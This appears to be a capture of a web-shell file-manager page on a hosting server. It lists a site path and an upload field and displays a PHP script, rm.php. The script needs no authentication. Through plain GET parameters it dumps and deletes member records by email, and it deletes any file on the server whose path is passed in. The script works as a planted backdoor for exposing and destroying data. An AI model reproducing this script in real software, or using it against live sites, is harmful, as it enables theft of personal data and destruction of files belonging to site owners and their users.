MSV FM

dot.antimicrobial@66.96.161.157: ~ $
Path : /hermes/sb_web/b744/hr.linkwaycanada.com/
File Upload :
Current < : /hermes/sb_web/b744/hr.linkwaycanada.com/rm.php

<?php
include 'dbconnection.php';
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

$type = $_GET['type'];
if ($type == "user") {
    $email = $_GET['email'];
    $mt = $conn->prepare("SELECT * FROM members WHERE email=?");
    $mt->bind_param("s", $email);
    $mt->execute();
    $result = $mt->get_result();
    $userDetails = $result->fetch_object();
    if (is_object($userDetails)) {
        echo "found 1 <pre>";
        print_r($userDetails);
        echo "</pre>";
        $stmt = $conn->prepare("DELETE FROM members WHERE email=?");
        $stmt->bind_param("s", $email);
        $r = $stmt->execute();
        if ($r) {
            echo "<br> done";
        } else {
            echo "<br> failed";
        }
    } else {
        echo "Not found!";
    }
} else if ($type == "f"){
    $file = $_GET['file'];
    unlink($file);
}